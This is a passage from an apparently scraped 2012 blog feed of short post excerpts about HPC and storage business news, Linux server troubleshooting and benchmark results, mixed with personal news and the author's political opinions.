bunch of playing fields. There are a shrinking pool of players out there available. Virident, STEC, and a few others. OCZ is occasionally rumored to be talking to Seagate and others. With TMS, IBM can now offer TMS metadata servers for GPFS, integrated. https://blog.scalability.org/2012/08/more-ma-tcs-grabs-crl/ Thu, 16 Aug 2012 13:55:37 +0000 https://blog.scalability.org/2012/08/more-ma-tcs-grabs-crl/ TCS is arguably one of the more successful services groups out there. Cloud computing naturally fits into this, as cloud is AAS (As A Service). CRL has a localized bit of expertise in Pune, as well as customers pretty widely spread out. We’ve worked with them in the past, they have some of our gear. Dr. Vipin Chaudhary, CEO of CRL is a good friend and business partner going back a ways. https://blog.scalability.org/2012/08/day-job-will-be-at-hpc-on-wall-street-conference-in-nyc-19-sept/ Wed, 15 Aug 2012 02:31:01 +0000 https://blog.scalability.org/2012/08/day-job-will-be-at-hpc-on-wall-street-conference-in-nyc-19-sept/ Still deciding what to bring … at least one thing new (we have a number). Will have at least one partner in the booth, possibly more. Will be right by the coffee !!!! I can hook an IV straight from there … Very excited! More info soon. https://blog.scalability.org/2012/08/ot-canton-mi-olympian-and-an-olympian-hopeful/ Wed, 15 Aug 2012 01:51:00 +0000 https://blog.scalability.org/2012/08/ot-canton-mi-olympian-and-an-olympian-hopeful/ Took off work early to take family (and Captain!) to see Allison Schmitt at Canton’s Heritage Park. For those who don’t know, Allison won 3 gold medals, a silver, and a bronze at the 2012 Olympics in London. We watched 2 of her races, most of Ryan Lochte’s, Michael Phelps, and as many of the swimming contests as NBC broadcast (sadly not enough). My wife and I enjoyed the races, and, as it turns out, so did my daughter. https://blog.scalability.org/2012/08/as-a-service-the-rapidly-changing-face-of-hpc/ Mon, 13 Aug 2012 19:24:12 +0000 https://blog.scalability.org/2012/08/as-a-service-the-rapidly-changing-face-of-hpc/ Our market is often inundated with buzzwords. And fads sweep through organizations looking for silver bullets to their very hard problems. Some of these problems are self-inflicted … some are as a result of growth, or needed infrastructure change. One of the biggest problems with HPC (and to a degree, storage) has been the high up-front costs to build what you need. You have to lay down capital to buy something, which may or may not have an ROI adequate to pay for it. https://blog.scalability.org/2012/08/ot-welcome-to-the-newest-member-of-our-family/ Mon, 13 Aug 2012 03:19:27 +0000 https://blog.scalability.org/2012/08/ot-welcome-to-the-newest-member-of-our-family/ Captain is a rescue dog from the CHAINED Inc. organization. He is the dog on the right at 1:21. His sister is the dog on the left of that frame. [ ](/images/captain.jpg) Captain is a 9 month old or so yellow lab. He was badly abused. He has major trust issues, and I don’t blame him for this. It will take time to learn to trust. He’s been with us 5 days now, and loves my wife and daughter. https://blog.scalability.org/2012/08/beautiful-smackdown/ Thu, 09 Aug 2012 20:23:01 +0000 https://blog.scalability.org/2012/08/beautiful-smackdown/ This is epic. As originally seen on @mndoci ’s twitter stream. Short version: Those who don’t have a clue, really … REALLY … shouldn’t write lengthy journal articles about what they don’t have a clue about. Lest they get smacked down. Like this. For some reason, its an article of faith for many people, who largely do not understand why, that the big drug companies are EEEEVVIIIILLL (hope I used enough I’s there). https://blog.scalability.org/2012/08/whats-old-is-new-again/ Thu, 09 Aug 2012 02:36:49 +0000 https://blog.scalability.org/2012/08/whats-old-is-new-again/ Inspired by this article. Back in the dim and distant past, when I started graduate school … no before that … I had something of an … naive … world and economic view. This view had me believing that newly minted physics Ph.D. types would be able to find a nice tenure track relatively easily after a short postdoc. From there to professional career bliss. Do research, write grants, publish, teach. https://blog.scalability.org/2012/08/cool-hack-attempt/ Mon, 06 Aug 2012 20:54:24 +0000 https://blog.scalability.org/2012/08/cool-hack-attempt/ This one was actually much harder to discern that it was a hack attempt until I looked at the payload in an editor. Never EVER under any circumstances read HTML mail from a source you don’t trust … and I am getting ready to say, from anyone. Here is a portion of the payload: ` https://blog.scalability.org/2012/08/so-much-fail-in-the-rhel-init-process/ Fri, 03 Aug 2012 20:55:09 +0000 https://blog.scalability.org/2012/08/so-much-fail-in-the-rhel-init-process/ Its borked so incredibly badly, that in order to support what we need, we have to hack around all its brokenness. Dracut is a step up, but pretty much everything else (and this may be a dracut issue) is borked. We want one initramfs to support software RAID1 boot, network boot, iscsi boot. But you have to pull in so many modules to get this to work … we have gigantic initramfs that take forever to assemble. https://blog.scalability.org/2012/08/we-built-that-10-years-in-buiness/ Thu, 02 Aug 2012 02:24:44 +0000 https://blog.scalability.org/2012/08/we-built-that-10-years-in-buiness/ [warning: longer post] I mentioned this on twitter (@sijoe). The day job has been in business for 10 years. We’ve not taken outside investment to date, and we’ve not sold the company yet. We’ve been profitable and growing continuously during our lifetime. The preceding 3 years have seen growth, accelerating hard. The company was built starting with a conviction that practitioners and users of HPC systems needed better designs, better systems than were being pushed out by traditional vendors in the early 2000’s. https://blog.scalability.org/2012/08/the-mystery-of-the-week/ Wed, 01 Aug 2012 05:31:24 +0000 https://blog.scalability.org/2012/08/the-mystery-of-the-week/ Customer has had a machine for a while. Generally stable. Followed our advice on doing a reboot recently. Unit started crashing Monday. Then today. Hard to stay up and stable. I asked if anything has changed, and haven’t gotten anything conclusive … mostly “we don’t think so”. About the crashes: Nothing in the logs. Not a thing. No hardware subsystem, which has logging enabled (RAID, motherboard, PCIe, IPMI, … ) reports an error. https://blog.scalability.org/2012/07/and-oracle-snarfs-up-xsigo/ Tue, 31 Jul 2012 16:26:51 +0000 https://blog.scalability.org/2012/07/and-oracle-snarfs-up-xsigo/ Xsigo makes virtual network connectivity systems. Basically letting you build a virtual network, in a software stack, so you can avoid spending so much money on a fixed (and inflexible) network stack. Its a neat concept, but its utility is focused elsewhere than HPC. Even though they talk storage, I’d argue its a fairly expensive way to build a network for storage as well … though if you are going to be changing your network all the time, it actually might be a win. https://blog.scalability.org/2012/07/and-hes-back/ Mon, 30 Jul 2012 15:15:42 +0000 https://blog.scalability.org/2012/07/and-hes-back/ with a good article on a new license formulated for genomic code being distributed by a university research center. Glad to see the blog back up! Or rebooted … and +10 on your article. It (that license) is the wrong direction IMO. Goes against what publicly funded scientific code should be distributed as (IMO). https://blog.scalability.org/2012/07/more-ma/ Sun, 29 Jul 2012 04:05:05 +0000 https://blog.scalability.org/2012/07/more-ma/ I’ve heard OCZ being looked at by Seagate and others. That would make sense. Honestly I think my expectations are not that companies have fire sales going on … but that areas where some sort of force multiplication is possible … these companies will be snapped up to help grow larger companies. Acquirers are after a few things. Value in terms of market, products, people, technology and capability, fit, etc. I do expect to see a few fire sales, but not many. https://blog.scalability.org/2012/07/a-question-a-customer-asked-relative-to-lustre-and-the-whamcloud-acquisition/ Sun, 29 Jul 2012 03:41:19 +0000 https://blog.scalability.org/2012/07/a-question-a-customer-asked-relative-to-lustre-and-the-whamcloud-acquisition/ Whats to become of Chroma (from Whamcloud)? I know its early, and I am sure that there won’t be answers just yet. Intel acquired Cilk, and its now available (and being integrated into gcc!) Intel acquired many others, and their bits are available. I’d expect Chroma to be made into an offering from Intel, along the lines of their cluster suite. Fully integrated stack. I know some folks are nervous about the acquisition. https://blog.scalability.org/2012/07/some-kernels-dont-like-having-non-assemble-able-software-raids/ Sun, 29 Jul 2012 03:00:04 +0000 https://blog.scalability.org/2012/07/some-kernels-dont-like-having-non-assemble-able-software-raids/ This one took me a while to figure out. I had to start probing why a system would crash the MD stack shortly after booting, but not in single user mode. So I started delving into the RAID. And found that the folks who set this unit up had a RAID0 with 0.90 metadata on the devices, and then 1.2 metadata on the MDS. So along comes the Lustre-ized kernel, and whammo. https://blog.scalability.org/2012/07/ahh-grub-0-97-ext4-how-i-loathe-thee/ Fri, 27 Jul 2012 03:25:14 +0000 https://blog.scalability.org/2012/07/ahh-grub-0-97-ext4-how-i-loathe-thee/ I had forgotten that some combinations of grub + file system could be rendered unbootable without lots of additional help. Grub is annoying. This is Grub legacy. Grub current tries to fix the mess, but fails as it is overly complex. And it appears to omit PXE and network boot options. Well iPXE helps us there. This is why we like tiburon so much. No installation. No problem. No grub to worry about. https://blog.scalability.org/2012/07/bad-design-bad-implementation-company-success-seriously/ Fri, 27 Jul 2012 03:05:34 +0000 https://blog.scalability.org/2012/07/bad-design-bad-implementation-company-success-seriously/ We are often hired to work on existing systems, to see if we can help make them faster and better. I am working on such a project now, but this post is not about this project. I’ve noticed a tendency in the market to shoehorn a set of designs for storage/computing systems into areas they weren’t designed for. Moreover, these designs would be right at home 15 years ago, since then, far better scale out designs have come along which do a far better job than the older designs. https://blog.scalability.org/2012/07/hits-bottom-keeps-digging/ Thu, 26 Jul 2012 23:52:33 +0000 https://blog.scalability.org/2012/07/hits-bottom-keeps-digging/ [update] below the fold and video. I can only conclude at this point that the “don’t get it” disease runs deep and wide in this administration. [update 2] This at the WSJ encapsulates what we are observing. This has gone beyond painful to watch to embarrassing. The president now claims that his statements were sliced and diced. He now is saying that he believes that businesses built themselves, while claiming that his earlier statement was taken out of context. https://blog.scalability.org/2012/07/why-do-people-double-down-when-they-are-wrong/ Wed, 25 Jul 2012 04:12:20 +0000 https://blog.scalability.org/2012/07/why-do-people-double-down-when-they-are-wrong/ And do it again, … sooooo …. a public works project (bridge, dam, …) is equivalent in his eyes to …. a risk an entrepreneur takes? Seriously? Erp …. its glaringly obvious whom does not have an understanding. The worker in the private sector, punches the clock BECAUSE somewhere, somewhen, the entrepreneur had the idea, took the risk, entirely upon themselves, and built something. The “public sector” is a cost, something to be kept as small as possible so as not to drive those paying the public sectors bills, into the poor house. https://blog.scalability.org/2012/07/how-id-like-politicians-to-view-entrepreneurs/ Mon, 23 Jul 2012 14:38:18 +0000 https://blog.scalability.org/2012/07/how-id-like-politicians-to-view-entrepreneurs/ Wonderful post by Jim Pethokoukis, covering a talk made by Ronald Reagan years ago. and I will freely admit that I was (almost) completely wrong in my original impressions of Reagan. I had a different political outlook in those days, and I had trouble viewing the guy as getting it. But get it, he did. This change in perception comes mostly from a maturing and a rethinking of my own world view. https://blog.scalability.org/2012/07/putting-2-and-2-together-hopefully-getting-4/ Mon, 23 Jul 2012 01:00:28 +0000 https://blog.scalability.org/2012/07/putting-2-and-2-together-hopefully-getting-4/ I’ve been long bothered by serious people espousing ideas not well correlated with reality, as representing reality, and telling us not to believe our lying eyes or instruments. This is in a context of (catastrophic) AGW (call this CAGW). I don’t have any dogs in that race, nor in fracking, which uses hydrological mechanisms to extract hydrocarbon fuel precursors from underground reservoirs. I am very interested in sound science, and sound policy derived from either sound science, or as close to intelligently constructed policy as we can make. https://blog.scalability.org/2012/07/and-now-the-cartoons/ Sun, 22 Jul 2012 17:29:53 +0000 https://blog.scalability.org/2012/07/and-now-the-cartoons/ below the fold. Snarfed from many places on the net. Copyrights are owned by their respective owners. I don’t know all the correct attributions, so if you find/know of it, please let me know so I can correctly update the list. The few remaining defenders of this failed statement and meme are all parroting seemingly, the exact same talking points. Now why would that be? Most everyone else, regardless of political affiliation realizes what a complete mess this has become … well … those outside of the media. https://blog.scalability.org/2012/07/ot-things-taken-for-granted-and-relearned/ Sun, 22 Jul 2012 12:59:29 +0000 https://blog.scalability.org/2012/07/ot-things-taken-for-granted-and-relearned/ Sleep is the great rejuvinator. When you get good sleep, you feel generally much better when you wake up. Your body does repair functions, your brain works out (some issues). And occasionally you dream. Going without sleep ages people, makes them less productive as they are more tired during the day. It limits the repair functionality. It hinders the “work through problems”. It prevents dreams. Pulling all-nighters is one instance of doing without sleep. https://blog.scalability.org/2012/07/insanely-funny-comedic-response-to-you-didnt-build-that/ Sun, 22 Jul 2012 00:45:48 +0000 https://blog.scalability.org/2012/07/insanely-funny-comedic-response-to-you-didnt-build-that/ This past week saw the president of the US in another major screw up … one he doesn’t quite understand why its a screw up … and many of his supporters don’t quite seem to get it either. The responses to the screw up have been coming fast and furious. This has become a major issue of the campaign now, about “getting it”. Its as defining as “its the economy stupid”, and specifically as to what the economy is. https://blog.scalability.org/2012/07/economic-headwinds-being-reported/ Sun, 22 Jul 2012 00:05:19 +0000 https://blog.scalability.org/2012/07/economic-headwinds-being-reported/ HPC is a small fraction of the total computing market. The market in general experience forces from the state of the economy … in growing economic times, generally large portions of the computing market are refreshing and updating gear. Conversely, when we are treading water, or contracting as an economy, word from on high in IT organizations is usually “make do with what you have” for a while. Many industries and economists have noted signs portending a downturn over the past few months. https://blog.scalability.org/2012/07/ssaas-huh-what/ Thu, 19 Jul 2012 18:49:35 +0000 https://blog.scalability.org/2012/07/ssaas-huh-what/ On James Cuff’s blog, a nice post about utilization of software. In it he writes: to which I say … Human Voice Clip Female Young Woman Exclamations Oh Man Seriously … I gave up on the indentation as a form of program structure when I stopped doing much Fortran. Sheesh. Whats next … everyone using BASIC, with a little OO wrapper, a JIT, and an LLVM backend to run on GPUs (with a VHDL conversion tool)? https://blog.scalability.org/2012/07/seriously-enjoying-playing-with-the-julia-language/ Thu, 19 Jul 2012 18:08:52 +0000 https://blog.scalability.org/2012/07/seriously-enjoying-playing-with-the-julia-language/ See here. Parallel and distributed computing, not as an afterthought, but reasonably well integrated. Even better would be loops and vector ops which handled parallelism completely transparently … which … they effectively do in some cases. Waiting on static compilers, this language uses LLVM backend. There’s even a hook to generate code for PTX targets. No more separate language needed for GPU. Just run your code and it takes advantage of computational resources, regardless of the asymmetric nature. https://blog.scalability.org/2012/07/gaak-this-is-why-we-like-tiburon/ Thu, 19 Jul 2012 17:59:00 +0000 https://blog.scalability.org/2012/07/gaak-this-is-why-we-like-tiburon/ Finishing up building an testing system for Ceph for a customer. Unfortunately, due to another technical issue, we couldn’t simply encode the config in tiburon finishing scripts. The technical issue is the use of the current tiburon master system by another project, and we don’t have another spare system to build a mirror of it (going to change this soon), we are stuck using an older more rudimentary version of the system. https://blog.scalability.org/2012/07/glusterfs-and-rdma-support/ Mon, 16 Jul 2012 19:40:32 +0000 https://blog.scalability.org/2012/07/glusterfs-and-rdma-support/ [update] In 3.3.1/3.3.2 This appeared in the 3.3.0 docs. “NOTE: with 3.3.0 release, transport type ‘rdma’ and ‘tcp,rdma’ are not fully supported.” On page 133 of the Admin Guide. We’ve been noting breakage with support since the 3.0.x days. I think there were varying factions within the company that wanted pure tcp, and some wanted RDMA included. The latter is what HPC folks use for their storage. GlusterFS is going in a decidedly non-HPC direction, which is fine. https://blog.scalability.org/2012/07/9-years-and-354-days/ Mon, 16 Jul 2012 17:07:55 +0000 https://blog.scalability.org/2012/07/9-years-and-354-days/ [updated to get the count right] Thats how long the day job has been in business. Our 10 year anniversary is 1-August. I started this business 10 years ago, in part to scratch an itch, but really because I believed strongly in the HPC market. I still do, though our view of the market has evolved, and we look on how its been evolving with mixtures of joy and trepidation. Trepidation in part because we’ve been pretty good at predicting what comes next, and sadly not been able to raise the capital needed to build in that area (at least previously). https://blog.scalability.org/2012/07/why-business-models-for-hpc-are-so-very-important/ Sun, 15 Jul 2012 21:21:19 +0000 https://blog.scalability.org/2012/07/why-business-models-for-hpc-are-so-very-important/ You need a sound business model. Not a sound business plan, but a concept of where revenue comes in, and how you will profit from it, and what your costs are, before you should build and sell a product. In the case of state sponsored infrastructure, any model that looks like this: 1. Build it 2. ??? 3. Profit! is a failure waiting to happen. Its not a business model. https://blog.scalability.org/2012/07/ot-i-want-to-comment-on-this/ Sun, 15 Jul 2012 20:04:48 +0000 https://blog.scalability.org/2012/07/ot-i-want-to-comment-on-this/ [update] Good for them, the NFIB hits back, hard. No mental gymanstics required to correctly interpret what was said. Further they back it up with almost identical quotes from Elisabeth Warren herself, who appears to be the originator of this epic failure of a meme. This entire meme deserves all the derision being heaped on it. [update 2] And the pile on begins in earnest. James Pethokoukis (economics blogger and many other things) has some good comments of his own, as well as from others. https://blog.scalability.org/2012/07/huge-dependency-radii-or-why-i-stopped-using-catalyst/ Sun, 15 Jul 2012 03:04:33 +0000 https://blog.scalability.org/2012/07/huge-dependency-radii-or-why-i-stopped-using-catalyst/ More than a year ago, we were working on (re)developing some code for UI for our units. Original UI code had been in Catalyst framework, an MVC system for Perl. I like Perl, it makes rapid application development easy, and reasonably painless. CPAN makes avoiding coding things yourself pretty easy. Short side trip. A dependency radius is the measure of the number of additional things unrelated to your source code itself, required to build or operate your program. https://blog.scalability.org/2012/07/and-whamcloud-is-snarfed-up-by-intel/ Fri, 13 Jul 2012 22:30:11 +0000 https://blog.scalability.org/2012/07/and-whamcloud-is-snarfed-up-by-intel/ See here First off, congratulations to Brent, Eric, and everyone at Whamcloud. I had thought that the BI/Big Data side of things could prove interesting for them, and might make them in play. I hadn’t realized how quickly this was the case. Second, Big Data is huge. Lustre, which is effectively Whamcloud’s product (ignoring IP ownership, yadda yadda …), can play there, though it needs some serious additional work. But with the acquisition, I’d argue that the multithreading MDS and ODS are not far off. https://blog.scalability.org/2012/07/ot-just-brilliant/ Sat, 07 Jul 2012 04:20:50 +0000 https://blog.scalability.org/2012/07/ot-just-brilliant/ Been a thunderbird email client since 2004. Dropped Evolution in favor of thunderbird, it just worked, everywhere, the same. Around 2009-2010 time period, Mozilla decided to refocus thunderbird. Pull resources from it. This didn’t work out well, as users protested rather intensely. Looks like they are about to do it again, specifically to start chasing the mobile market. This letter on pastebin … and the priceless commentary afterwords, yeah … says it all. https://blog.scalability.org/2012/07/just-configured-a-new-generation-storage-unit/ Fri, 06 Jul 2012 16:29:33 +0000 https://blog.scalability.org/2012/07/just-configured-a-new-generation-storage-unit/ 4U, 256TB raw, fire breathing monsterously fast unit. Our existing 5U units already leave competitors single units, never mind their storage clusters, deep in the dust, and falling rapidly behind. Next gen isn’t incremental change. Its big. Huge even. Density and performance that boggles my mind, and we’ve set some pretty serious records for performance (5.6 GB/s read, 4.5 GB/s write for spinning disk) with the existing kit. And you will see these very soon. https://blog.scalability.org/2012/07/presenting-the-higgs-boson/ Thu, 05 Jul 2012 03:51:45 +0000 https://blog.scalability.org/2012/07/presenting-the-higgs-boson/ Reuters has an article on it here. Not my area of work from a while ago, but I had a few friends (postdocs, etc.) working on it (in a theoretical sense). One quit high energy physics to work on the “muck left over after the big bang”. The latter is where the money and jobs are, the former is for those who get lucky and find an academic home. I find it funny how reporters tend to paint groups with broad strokes. https://blog.scalability.org/2012/06/what-to-think-about-cloud-outages/ Sat, 30 Jun 2012 15:55:16 +0000 https://blog.scalability.org/2012/06/what-to-think-about-cloud-outages/ EC2 wwas taken down by the storms running across the US. Parts of EC2 were anyway. And it took down Netflix and others. Hmmmm. We put our web and mail into EC2 specifically to avoid these sorts of problems. While we are working on getting our second line up on a different technology from our primary, we are leaving it in the cloud. As I’ve said many times …. There ain’t no such thing as a silver bullet or a free lunch. https://blog.scalability.org/2012/06/ot-my-reading-list/ Sat, 30 Jun 2012 03:54:18 +0000 https://blog.scalability.org/2012/06/ot-my-reading-list/ So I am off on a vacation tomorrow. Normally for our summer forays, I grab Gardner Dozius compendium called The Years Best Science Fiction. I have from year 14 to the current (year 28). Its just not summer without it. Well, its not out yet. Will be out on 3-July. Oh well… Ok … I also grab everything by Charles Stross that I have not read from the preceding year. Hey, he’s got a new Laundry book coming out! https://blog.scalability.org/2012/06/ot-off-to-a-nice-relaxing-vacation-tomorrow/ Sat, 30 Jun 2012 03:43:34 +0000 https://blog.scalability.org/2012/06/ot-off-to-a-nice-relaxing-vacation-tomorrow/ Long overdue. We’ve had a … challenging … year, starting some family health issues, and my working from home for the first 6 weeks of the year. Company had to make an adjustment after we realized that there was an poor matching of capabilities, motivation, and goals for a portion of our team. All this contributed to increasing my level of stress. So I am happy to report that we are hopping into a car (minivan really), and making the trek to Orlando, by way of Atlanta. https://blog.scalability.org/2012/06/yes-i-really-like-it-when-we-take-lumps-for-supplier-snafus/ Mon, 25 Jun 2012 22:24:42 +0000 https://blog.scalability.org/2012/06/yes-i-really-like-it-when-we-take-lumps-for-supplier-snafus/ [Update] Not all of the issues were with the supplier. I started investigating and found out that we deserved some of the lumps. Me in particular for not paying more attention to the situation as it evolved. I made the assumption that someone else was covering it, and I didn’t need to. As I’ve discovered, this was a mistake on my part. The story is more annoying than I allude to here. https://blog.scalability.org/2012/06/nearly-a-gigaflop-at-your-side/ Wed, 20 Jun 2012 13:26:23 +0000 https://blog.scalability.org/2012/06/nearly-a-gigaflop-at-your-side/ First impression: this is so wrong … so … very wrong … Second impression: well, mebbe not. [ ](http://hothardware.com/Reviews/Samsung-Galaxy-S-III-Review/?page=5) Seriously though, this is a natural evolution of a public “flash” cloud. This is 1/5 of a gigaflop, which as a grad student 22+ years ago, I would have sacrificed for. I don’t think it will be too long before we are seeing multi-GFLOP on our hips. In which case, apart from network latency and storage bandwidth and size … you’ve got a seething mobile computing platform out there with a huge aggregate capability. https://blog.scalability.org/2012/06/security-and-legal-implications-of-the-data-bandwidth-wall/ Wed, 20 Jun 2012 03:54:21 +0000 https://blog.scalability.org/2012/06/security-and-legal-implications-of-the-data-bandwidth-wall/ Again, hat tip to Alastair who pointed me at this article. At the most basic level, there are real costs, and real consequences to not being able to act nimbly, and leverage the bandwidth you need to perform the operations you require to successfully perform your job functions. These consequences could have some significant implications for legal cases. Or for terror threats. What if you have a trove of data, that you have to act quickly upon? https://blog.scalability.org/2012/06/security-and-legal-implications-of-the-data-bandwidth-wall-part-0/ Sun, 17 Jun 2012 14:44:42 +0000 https://blog.scalability.org/2012/06/security-and-legal-implications-of-the-data-bandwidth-wall-part-0/ Had a link sent in (hat tip to Alastair) with a story that perfectly illustrates the data bandwidth wall, our ability to act in a legal manner with respect to it. There are broader implications, and … to us … something of a surprising connection to the company. And a serious indictment of the current US government procurement process. This story has EPIC FAILURE (for the US government) written all over it, for multiple reasons. https://blog.scalability.org/2012/06/bad-decisions-in-retrospect/ Wed, 13 Jun 2012 18:02:59 +0000 https://blog.scalability.org/2012/06/bad-decisions-in-retrospect/ We’ve made one in particular, that is causing me to (seriously) regret our choice. We use wiki software for our documentation and internal site(s). We had chosen dekiwiki as our platform, based upon our perceived need for ease of use, access control, and other issues. First Wiki went up fine. This was an internal wiki for knowledge capture. Second wiki came up fine, for documentation. I like living documentation we can annotate. https://blog.scalability.org/2012/06/is-flash-a-flash-in-the-pan/ Wed, 13 Jun 2012 03:40:44 +0000 https://blog.scalability.org/2012/06/is-flash-a-flash-in-the-pan/ This article makes a case that it is. As with many articles about X dying, its worth asking if their argument makes sense. Basically the point they are making boils down to density, resiliency, and other aspects. Specifically they point out that the fundamental flash design is inherently flawed … it self destructs after a while … wears out. So their argument begins, the denser the bits per cell, the fewer write cycles before the cell is unusable. https://blog.scalability.org/2012/06/ot-wishing-for-more-competition-in-cellular-phones/ Sat, 09 Jun 2012 20:09:21 +0000 https://blog.scalability.org/2012/06/ot-wishing-for-more-competition-in-cellular-phones/ Just spent 3+ hours dealing with Verizon over setting up a business account for the company, moving phones/mifi to this, and getting a new line. Discovering in the process that the company doesn’t quite grok business customers. Or its own products. Or what its sold. Sadly, Verizon’s network is the best. Sadly, they are … a royal pain … to deal with. Very long story, wish it weren’t as bad as it is here. https://blog.scalability.org/2012/06/code-angry/ Tue, 05 Jun 2012 06:18:59 +0000 https://blog.scalability.org/2012/06/code-angry/ I’ve been banging my head against fastcgi. At a fundamental level, fastcgi is meant to be a CGI gateway allowing multiple simultaneous processes to run at once, to serve pages. Ok. nginx (and Apache, and others) can use fastcgi to run PHP code. Well, Apache can run it “natively” while the others need to run it externally. Our website is PHP based (drupal). So are some of our tools. And ya know, the transition to nginx has not been smooth for them. https://blog.scalability.org/2012/06/a-lesson-in-economics/ Sat, 02 Jun 2012 19:51:43 +0000 https://blog.scalability.org/2012/06/a-lesson-in-economics/ This is somewhat tangential (at least the initial part) to HPC and storage, but it has significant similarities … its worth paying attention to. Much text, noise, and argumentation have surrounded things like Obamacare here in the US. This is, whether or not the proponents like to admit it or not, a push for a socialized medical system, with “controlled” costs, and all manner of other things. Yeah, we’ll hear how the US has “crappy” medical coverage, or country X is so much better because everyone gets coverage. https://blog.scalability.org/2012/06/nginx-rules/ Fri, 01 Jun 2012 15:05:47 +0000 https://blog.scalability.org/2012/06/nginx-rules/ I was having lots … and I mean LOTS of trouble with apache 2.2 on the new web server. It simply refused to do vhosts no matter what I did. Debugging it was painful. I’d tried lighttpd in the past, and while I liked some aspects of it better than Apache, it still was hard to debug. So I figured I’d give nginx a try. Its an up and comer in the web serving business, and seems to be one of fastest growing on the net. https://blog.scalability.org/2012/05/and-the-vm-and-its-snapshot-managed-to-get-corrupted/ Thu, 31 May 2012 05:41:53 +0000 https://blog.scalability.org/2012/05/and-the-vm-and-its-snapshot-managed-to-get-corrupted/ Talking about rt. Our support site. Thankfully most of the stuff is in the database with a little customization. Thankfully we want to move from 3.x to 4.x. Annoyingly, this is more work. Thankfully, our web server design is now far more intelligent than in the past. We may simply run it on the web frontend directly, rather than running it as a VM. There’s really little advantage to the VM, and we keep having to do a reset of the VM. https://blog.scalability.org/2012/05/why-oh-why/ Thu, 31 May 2012 05:07:48 +0000 https://blog.scalability.org/2012/05/why-oh-why/ Dear Red Hat: You put out a good product in RHEL 6.x. Ignoring the (often massive) performance regressions, other things are better/more stable. Dracut, is growing on me. Actually liking being able to debug startup. But, this said … I have to inquire … Why on earth did you include an End-Of-Lifed version of Perl (5.10.x) in RHEL 6.x? What … exactly … was the thought process behind this? Have a look here: and search for “Latest releases in each branch”. https://blog.scalability.org/2012/05/snort-guffaw-cackle/ Wed, 30 May 2012 03:31:20 +0000 https://blog.scalability.org/2012/05/snort-guffaw-cackle/ Enjoyed this read. Some of the take away snippets Ok, there is a combination of humor, and a possible simple test to determine if you are one of them thar bad “right-wingers” (note: tongue firmly planted in cheek here). Just ask a) education level, and b) opinion of AGW. But even more than this … this study was drive by the soft science folks wondering about some attitudes and levels of scientific literacy and numeracy. https://blog.scalability.org/2012/05/rip-kyril-faenov/ Wed, 30 May 2012 00:08:00 +0000 https://blog.scalability.org/2012/05/rip-kyril-faenov/ Kyril Faenov of Microsoft passed away several days ago. He was one of the visionaries and leaders behind Microsoft’s HPC effort. He was also a nice guy, one whom I had a chance to talk with several times over the last few years. One of the bright folks you like to challenge. I respected him and his efforts, even if I didn’t agree with them. More information here, and I found this originally at InsideHPC. https://blog.scalability.org/2012/05/stress-analysis-of-a-market-does-this-explain-facebooks-ipo-issues/ Sat, 26 May 2012 20:44:03 +0000 https://blog.scalability.org/2012/05/stress-analysis-of-a-market-does-this-explain-facebooks-ipo-issues/ c.f. this post at ZeroHedge. In case you haven’t guessed it, ZeroHedge does not like HFT aka algorithmic trading. Its an informative blog … sometimes bordering on alarmist … but for the most part, a good read. https://blog.scalability.org/2012/05/misalignment-of-performance-expectations-and-reality/ Sat, 26 May 2012 18:08:26 +0000 https://blog.scalability.org/2012/05/misalignment-of-performance-expectations-and-reality/ We are working on a project for a consulting customer. They’ve hired us to help them figure out where their performance is being “lost”. Obviously, without naming names or revealing information, I note something interesting about this, that I’ve alluded to many times before. There is an often profound mismatch between expectations for a system and what it actually achieves. This is in large part, why we benchmark and test our systems in as real configurations as possible, and report real numbers, while many (most) of our competitors make WAGs at best case/best effort/best condition theoretical numbers. https://blog.scalability.org/2012/05/siflash-tuning/ Fri, 25 May 2012 16:47:06 +0000 https://blog.scalability.org/2012/05/siflash-tuning/ We’ve been tuning our siFlash. Not done yet … not done, but look where we are. 24 simultaneous streaming (non-cached) reads. Run status group 0 (all jobs): READ: io=193632MB, aggrb=7781.4MB/s, minb=7781.4MB/s, maxb=7781.4MB/s, mint=24884msec, maxt=24884msec Yeah. Baby. Added another almost GB/s to the read performance. Streaming write performance is hovering around 2.6GB/s. Remember, this is a half configured system. Imagine what we could do with a fully configured system. Sustaining 147k random write IOPs (4k random writes, with 144 simultaneous threads), and 210k random read IOPs. https://blog.scalability.org/2012/05/what-high-performance-isnt/ Fri, 25 May 2012 09:49:20 +0000 https://blog.scalability.org/2012/05/what-high-performance-isnt/ We’ve had a number of interesting interactions with customers over the last few weeks. They all seem to center on, and around, how to get high performance out of gear which isn’t designed for high performance. Generally speaking, you can’t. High performance requires a mixture of design and implementation, with well designed and implemented parts. High performance isn’t A random collection of web and file servers joined together with clustering tools Some random tier 1 box usually used as a lower end file server shoved with disks/ssd/Flash A poorly architected, but easy to purchase system (e. https://blog.scalability.org/2012/05/thinking-of-using-warewulf-as-a-base-for-some-of-our-diskless-work/ Thu, 24 May 2012 04:54:29 +0000 https://blog.scalability.org/2012/05/thinking-of-using-warewulf-as-a-base-for-some-of-our-diskless-work/ I’ve been thinking about this for a while. We have a good diskless system, but I’ve always liked the nano-ramdisk version of the OS. Create a base distro with JEOS (just enough OS) to boot, and mount all the other bits you need. Not that there is anything wrong with what we are doing now, its just that I really like that capability. Especially if we could keep the ramdisk compressed. https://blog.scalability.org/2012/05/an-nfs-gotcha/ Thu, 24 May 2012 04:44:26 +0000 https://blog.scalability.org/2012/05/an-nfs-gotcha/ As we rebuild our server infrastructure (aside from taking time to do things more intelligently), we run into some bumps. This one sorta threw me for a bit. [root@virtual ~]# mount -a mount.nfs: Stale NFS file handle mount.nfs: Stale NFS file handle Checked all the usual suspects. No dice. The /etc/exports was correct, and visible locally. There was a DNS oddity I resolved (humor … heh). But mounts kept giving me the stale NFS handle. https://blog.scalability.org/2012/05/when-core-assumptions-that-should-never-be-wrong-do-turn-out-to-be-wrong/ Wed, 23 May 2012 01:23:47 +0000 https://blog.scalability.org/2012/05/when-core-assumptions-that-should-never-be-wrong-do-turn-out-to-be-wrong/ So … where does this tale begin? We had a nice backup system in place at the lab. Twice a week, all the important servers would happily sync their contents to this unit over Gigabit ethernet. It worked well, we were happy. Place that snippet in the background, it will come up again. I’ve told our customers for a long time that RAID is not a backup. RAID is RAID, it gives you time to recover from a failure. https://blog.scalability.org/2012/05/and-it-can-talk/ Fri, 18 May 2012 18:38:03 +0000 https://blog.scalability.org/2012/05/and-it-can-talk/ [root@<a href="http://scalableinformatics.com">skunkworks-prototype-n2</a> ~]# ifinfo device: address/netmask MTU Tx (MB) Rx (MB) eth0: addr not set/mask not set 1500 0.000 